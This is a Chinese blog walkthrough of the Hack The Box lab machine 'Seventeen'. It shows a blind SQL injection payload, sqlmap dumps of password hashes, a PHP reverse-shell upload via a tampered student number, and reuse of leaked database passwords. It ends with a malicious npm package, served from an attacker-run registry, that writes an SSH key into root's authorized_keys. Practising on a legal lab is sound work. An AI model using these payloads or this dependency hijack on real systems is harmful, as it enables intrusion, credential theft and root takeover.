【Hack The Box】Linux练习-- Seventeen

HTB 学习笔记

【Hack The Box】Linux练习-- Seventeen


系列专栏:Hack The Box
欢迎关注点赞收藏⭐️留言
首发时间:2022年9月7日
作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 80
        • 目录爆破
    • 8000
        • 目录爆破
    • 域名爆破
    • exam.seventeen.htb
        • 对这个域名目录爆破
        • 已知cms利用
    • sql注入
    • sqlmap利用
        • 新的域名
    • 文件上传
        • www->matt
    • kavi
    • npm模块挟持
        • 创建恶意npm

【Hack The Box】Linux练习-- Seventeen_第1张图片

信息收集

22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
|   256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_  256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Let's begin your education with us! 
8000/tcp open  http    Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.3; OS: Linux; CPE: cpe:/o:linux:linux_kernel

80

在左上角它说 seventeen.htb. 我会把它添加到我的 /etc/hosts文件,但该站点似乎是通过 IP 或域名访问的。

响应标头

HTTP/1.1 200 OK
Date: Sat, 26 Nov 2022 02:15:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Sun, 10 Apr 2022 05:31:57 GMT
ETag: "50d1-5dc46256b75a0-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 20689
Connection: close
Content-Type: text/html
目录爆破
feroxbuster -u http://seventeen.htb

没有信息

8000

403响应
【Hack The Box】Linux练习-- Seventeen_第2张图片

目录爆破
 feroxbuster -u http://seventeen.htb:8000 

啥也没有

域名爆破

wfuzz -u http://seventeen.htb -H "Host: FUZZ.seventeen.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hh 20689

得到exam

添加进hosts

exam.seventeen.htb

【Hack The Box】Linux练习-- Seventeen_第3张图片右上角登陆不可用
【Hack The Box】Linux练习-- Seventeen_第4张图片页面标头正常,搜索框无效,页面没有有效信息,开始进行目录爆破

对这个域名目录爆破
feroxbuster -u http://exam.seventeen.htb

依旧没有结果

已知cms利用

searchsploit exam management system
当查看这些是否匹配时,我会将 URL 结构与来自exp的 URL 进行比较 feroxbuster以上。 前两点指向 /pages/save_user.php.

【Hack The Box】Linux练习-- Seventeen_第5张图片【Hack The Box】Linux练习-- Seventeen_第6张图片
这个路径目录爆破没有爆破出来,说明也不是302,估计就是404根本不存在,直接访问也访问不到

后面两个目标 /erms/classes/Users.php和 /erms/?p=take_exam&id=1. 这些看起来像我已经看过的网址(没有 /erms).
50726 是经过身份验证的 RCE。 由于我没有信用,我会考虑下一个。

50725 是一个基于布尔值的 SQL 盲注。

sql注入

【Hack The Box】Linux练习-- Seventeen_第7张图片
给的比较清楚

http://exam.seventeen.htb/?p=take_exam&id=1%27%20AND%204755=4755%20AND%20%27VHNu%27=%27VHNu

【Hack The Box】Linux练习-- Seventeen_第8张图片

sqlmap利用

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch

我会给 sqlmap网址,以及 --technique B(对于基于布尔值的)和 -p id告诉它要处理哪个参数。

我将列出数据库 --dbs(我还要补充 --batch选择任何提示的默认答案,并且线程是安全的,因为它是布尔值,而不是基于时间的):

sqlmap --dbs -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10

列出表

sqlmap -D erms_db --tables -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10

列数据

sqlmap -D erms_db -T users --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| id | type | avatar                            | lastname | password                         | username         | firstname    | date_added          | last_login | date_updated        |
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| 1  | 1    | ../oldmanagement/files/avatar.png | Admin    | fc8ec7b43523e186a27f46957818391c | admin            | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2022-02-24 22:00:15 |
| 6  | 2    | ../oldmanagement/files/avatar.png | Anthony  | 48bb86d036bb993dfdcf7fefdc60cc06 | UndetectableMark | Mark         | 2021-09-30 16:34:02 | NULL       | 2022-05-10 08:21:39 |
| 7  | 2    | ../oldmanagement/files/avatar.png | Smith    | 184fe92824bea12486ae9a56050228ee | Stev1992         | Steven       | 2022-02-22 21:05:07 | NULL       | 2022-02-24 22:00:24 |
+----+------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+

有路径有用户名hash
但是无法爆破其中任何一个
用户头像的路径。 他们每个人都以 …/oldmanagement/files/.

新的域名

目前我无法将几个数据库与应用程序相关联。 考虑到网络服务器通常是如何设置的,不同的主机每个都有一个文件夹 /var/www/. 所以如果 ERMS 用完了类似 /var/www/emrs, 然后被链接回 /var/www/oldmanagement,这表明它可能是不同的虚拟主机。 值得一试 - 添加 oldmanagement.seventeen.htb至 /etc/hosts在 Firefox 中访问会加载一个新的登录表单:

是一个登录,但是我目前没有任何的凭据

我将继续枚举一些信息

sqlmap -D db_sfms --tables -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10

最终在这里找到了新的一些用户,是一些学生,也正符合页面学生登陆的特征

sqlmap -D db_sfms -T student --dump -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B --batch --threads 10
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| stud_id | yr | gender | stud_no | lastname | password                                           | firstname |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+
| 1       | 1A | Male   | 12345   | Smith    | 1a40620f9a4ed6cb8d81a1d365559233                   | John      |
| 2       | 2B | Male   | 23347   | Mille    | abb635c915b0cc296e071e8d76e9060c                   | James     |
| 3       | 2C | Female | 31234   | Shane    | a2afa567b1efdb42d8966353337d9024 (autodestruction) | Kelly     |
| 4       | 3C | Female | 43347   | Hales    | a1428092eb55781de5eb4fd5e2ceb835                   | Jamie     |
+---------+----+--------+---------+----------+----------------------------------------------------+-----------+

爆破出来的凭据如下

31234/autodestruction

【Hack The Box】Linux练习-- Seventeen_第9张图片
登陆成功

whatweb http://oldmanagement.seventeen.htb:8000/oldmanagement/student_profile.php

【Hack The Box】Linux练习-- Seventeen_第10张图片得知cms
School File Management System

【Hack The Box】Linux练习-- Seventeen_第11张图片
存在一些exp,但我不知道版本,我会继续枚举一下
【Hack The Box】Linux练习-- Seventeen_第12张图片
【Hack The Box】Linux练习-- Seventeen_第13张图片
找到一个域名

https://mastermailer.seventeen.htb

但是https不能访问,http可以,会重定向到8000端口,然后跳转到mastermailer

【Hack The Box】Linux练习-- Seventeen_第14张图片
我将先检测重定向绕过
【Hack The Box】Linux练习-- Seventeen_第15张图片
不存在重定向绕过,那就看看这个东西登陆是个怎么事
弱口令,sql有没有
【Hack The Box】Linux练习-- Seventeen_第16张图片
这里用到了imap,并且常见的几种sql注入都不行,弱口令也没有
之前掌握的凭据也没用

【Hack The Box】Linux练习-- Seventeen_第17张图片发现这也是个cms
发现应该是是叫roundcube

【Hack The Box】Linux练习-- Seventeen_第18张图片

简单扫了一下目录,存在版本更新信息,访问看一下,确定版本是1.4.2
/CHANGELOG

但是版本漏洞没有啊
去谷歌搜一啊
【Hack The Box】Linux练习-- Seventeen_第19张图片一个高危都没有

文件上传

那我再次回到刚才的学生页面,因为那里有一个文件上传
我将尝试上传php
【Hack The Box】Linux练习-- Seventeen_第20张图片

我试图通过抓包找到文件的上传路径,但我失败了,所以我选择目录爆破

gobuster dir -u http://oldmanagement.seventeen.htb:8000/oldmanagement/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40

【Hack The Box】Linux练习-- Seventeen_第21张图片但是接着就爆破不出来任何东西了
【Hack The Box】Linux练习-- Seventeen_第22张图片没办法,我用尽了所有办法,我都找不到上传路径,只能走最后一步了,下载源码分析

https://www.sourcecodester.com/sites/default/files/download/razormist/school-file-management-system.zip

看下载的就行,他会给我们完整的路径

<?php
    require_once 'admin/conn.php';
    if(ISSET($_REQUEST['store_id'])){
        $store_id = $_REQUEST['store_id'];

        $query = mysqli_query($conn, "SELECT * FROM `storage` WHERE `store_id` = '$store_id'") or die(mysqli_error());
        $fetch  = mysqli_fetch_array($query);
        $filename = $fetch['filename'];
        $stud_no = $fetch['stud_no'];
        header("Content-Disposition: attachment; filename=".$filename);
        header("Content-Type: application/octet-stream;");
        readfile("files/".$stud_no."/".$filename);
    }
?>

但是我们直接访问

/files/31234/shell.php

是403的

最后我使用的方法如下
上传一个 PHP 反向 shell,但在发送请求之前,用 Burp 拦截它并将 stud_no 更改为其他学号——否则你将无法执行 PHP 脚本

该文件被上传到:

http://seventeen.htb:8000/oldmanagement/files/<stud_no>/shell.php
www->matt

【Hack The Box】Linux练习-- Seventeen_第23张图片

还有 2 个其他用户, kavi 和 mark 。
找到的有价值文件
/var/www/html/employeemanagementsystem/process/dbh.php

$dBUsername = "root";
$dbPassword = "2020bestyearofmylife";

这个密码尝试重用,最终在root, kavi 和 mark 中,命中了Mark
我们可以ssh登陆他

【Hack The Box】Linux练习-- Seventeen_第24张图片
我会注意到一个 .npm目录。 NPM 是节点包管理器。 安装了一些模块,还有一个 127.0.0.1_4873目录:
【Hack The Box】Linux练习-- Seventeen_第25张图片

在/var/mail发现一个哟件
【Hack The Box】Linux练习-- Seventeen_第26张图片

提到了一个新项目、一个私人注册表(有一些问题)和一个旧记录器被替换为 loglevel(一个公开可用的 JavaScript 日志应用程序 )。

查看端口,得到结论如下

Roundcube 的邮件服务器 - 110、143、993、995
用于各种网络服务器的 MySQL - 3306
域名系统 - 53
网站转发到 Docker - 8081(exams),8082(oldmanager)
未知 - 4873,但在 .npm上面的文件夹。
curl http://127.0.0.1:4873

【Hack The Box】Linux练习-- Seventeen_第27张图片
正文由 JavaScript 加载,但我确实看到了“Verdaccio”。 Verdaccio 是一个私有的 JavaScript 仓库。

如果我添加一个 SSH 隧道以提供从我的主机访问 4873,我可以在 Firefox 中加载它:

该电子邮件提到了“旧记录器”,并谈到使用“我们的注册表”。 我将尝试搜索本地注册表中的日志记录模块:

npm search log --registry http://127.0.0.1:4873

【Hack The Box】Linux练习-- Seventeen_第28张图片就这一个注册表日志模块

npm install db-logger --registry http://127.0.0.1:4873

拉到本地
【Hack The Box】Linux练习-- Seventeen_第29张图片
换个目录,去/tmp,这个目录不可写
【Hack The Box】Linux练习-- Seventeen_第30张图片
【Hack The Box】Linux练习-- Seventeen_第31张图片看到获得了我们要获得的日志文件
这个是个目录,进去看看,然后得到信息如下

user: "root",
password: "IhateMathematics123#",
_nodeVersion": "8.10.0",

Log data to a database",
http://127.0.0.1:4873/db-logger/-/db-logger-1.0.1.tgz

mysql": "2.18.1

npmVersion": "3.5.2

kavi

ssh kavi@10.129.227.143

【Hack The Box】Linux练习-- Seventeen_第32张图片

#!/bin/bash
cd /opt/app
deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do
    /bin/echo "[=] Checking for $dep"
    o=$(/usr/bin/npm -l ls|/bin/grep $dep)
    if [[ "$o" != *"$dep"* ]]; then
        /bin/echo "[+] Installing $dep"
        /usr/bin/npm install $dep --silent
        /bin/chown root:root node_modules -R
    else
        /bin/echo "[+] $dep already installed"
    fi
done
/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js

进到cd /opt/app

循环遍历两个依赖项中的每一个

deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do

检查每个依赖项是否已安装

/bin/echo "[=] Checking for $dep"
    o=$(/usr/bin/npm -l ls|/bin/grep $dep)

如果没有,则安装它们。 然后它启动 Node 应用程序:

if [[ "$o" != *"$dep"* ]]; then
        /bin/echo "[+] Installing $dep"

按照下面的命令,会用root来chown下载的模块

  /usr/bin/npm install $dep --silent
 /bin/chown root:root node_modules -R

然后启动js文件

/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js

npm模块挟持

首先我们运行sh文件,发现调用的只有loglevel,所以我们只挟持这个包就行
【Hack The Box】Linux练习-- Seventeen_第33张图片
我将仔细的描述这个原理

【Hack The Box】Linux练习-- Seventeen_第34张图片首先我们要去用户的home下确定一下registyr的目录
而后更改他,因为我要恶意挟持他,所以我们将他改为我们的主机
【Hack The Box】Linux练习-- Seventeen_第35张图片而后我们要在本地建立一个loglevel,而后进去做一些恶意的npm

mkdir loglevel
cd loglevel
创建恶意npm

我将完整的步骤放在这里,而后一步步执行
例子中被调用的包是loglevel
所涉及的镜像是verdaccio(来自于npm管理页面)

1.创建一个目录
mkdir loglevel
cd loglevel
2. 拉取镜像
proxychains4 -f /etc/proxychains4.conf sudo docker run -it --rm  -p 4873:4873 verdaccio/verdaccio
3. 添加用户
npm adduser --registry http://10.10.14.6:4873
4. 创建
npm init(需要更高版本,例如1.8.0改为2.0.05. 再写index.js
=================================================
const cp = require("child_process")
cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali' > /root/.ssh/authorized_keys");
function log(msg) {
    console.log(msg);
}
function debug(msg) {
    console.log(msg);
}
function warn(msg) {
    console.log(msg);
}
module.exports.log = log;
=================================================
6. 发布
npm publish --registry http://10.10.14.29:4873
7. 修改指向
修改.npmrc 文件到我们的本地服务开启端口
8. 执行(关于高权限调用npm包的脚本等)
sudo /opt/app/startup.sh
proxychains4 -f /etc/proxychains4.conf sudo docker run -it --rm  -p 4873:4873 verdaccio/verdaccio

首先docker启动对应的网站服务器
–rm是利用完就删除 -p这个最好跟目标端口一致
verdaccio/verdaccio
是镜像名字

【Hack The Box】Linux练习-- Seventeen_第36张图片而后创建用户

npm adduser --registry http://10.10.14.6:4873

【Hack The Box】Linux练习-- Seventeen_第37张图片

npm init

我唯一不能使用默认值的是名称,我将命名为 loglevel,因为我希望它在 靶场 上被服务器包含和调用,并且我将升级版本,使其超出 实际模块 的当前版本,目前为 1.8.0。 上面的过程创建了一个 package.json当前目录下的文件。

【Hack The Box】Linux练习-- Seventeen_第38张图片
【Hack The Box】Linux练习-- Seventeen_第39张图片
而后我将创建一个index.js
里面包装好你的命令
我会选择这个,因为它能直接写一个密钥,比较方便

const cp = require("child_process")

cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali' > /root/.ssh/authorized_keys");

function log(msg) {
    console.log(msg);
}

function debug(msg) {
    console.log(msg);
}

function warn(msg) {
    console.log(msg);
}

module.exports.log = log;

之所以创建index.js是因为创建的init主函数就是index.js
【Hack The Box】Linux练习-- Seventeen_第40张图片
【Hack The Box】Linux练习-- Seventeen_第41张图片
这就是我们最终得到的结构

而后

npm publish --registry http://10.10.14.29:4873

发布他
【Hack The Box】Linux练习-- Seventeen_第42张图片

而后在此确保正确的指向
修改.npmrc 即可【Hack The Box】Linux练习-- Seventeen_第43张图片因为他应该是存在一个计划任务,定期恢复

所以我们的动作也要快一点

sudo /opt/app/startup.sh

【Hack The Box】Linux练习-- Seventeen_第44张图片我们成功了

【Hack The Box】Linux练习-- Seventeen_第45张图片

你可能感兴趣的:(Hack,The,Box,linux,debian,运维)